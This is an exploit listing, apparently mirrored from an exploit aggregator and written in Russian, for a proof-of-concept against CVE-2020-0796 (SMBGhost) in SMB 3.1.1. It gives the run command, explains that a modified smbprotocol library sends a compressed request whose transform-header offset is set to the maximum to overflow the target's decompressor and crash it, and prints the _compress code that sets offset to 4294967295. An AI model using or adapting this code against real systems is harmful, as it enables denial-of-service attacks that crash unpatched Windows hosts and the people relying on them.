Exploit for CVE-2020-0796-PoC

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EERYKITTY-CVE-2020-0796-POC
# CVE-2020-0796 PoC, также известный как CoronaBlue или SMBGhost

## Использование

`./CVE-2020-0796.py servername`

Этот скрипт подключается к целевому хосту и сжимает запрос аутентификации с установленным некорректным полем offset в заголовке преобразования, что приводит к переполнению буфера в декомпрессоре и падению целевой системы.

Он содержит модификацию отличного smbprotocol с добавленной поддержкой сжатия/декомпрессии SMB 3.1.1 (только LZNT1). Большинство дополнений находятся в `smbprotocol/connection.py`. Включена версия lznt1, модифицированная для поддержки Python 3.

Заголовок преобразования сжатия находится в классе `SMB2CompressionTransformHeader`. Функция `_compress` вызывается для сжатия запросов дерева. Именно здесь поле offset устанавливается в максимальное значение для инициирования падения.

root@kitploit:~
    
    
        def _compress(self, b_data, session):
            header = SMB2CompressionTransformHeader()
            header['original_size'] = len(b_data)
            header['offset'] = 4294967295
            header['data'] = smbprotocol.lznt1.compress(b_data)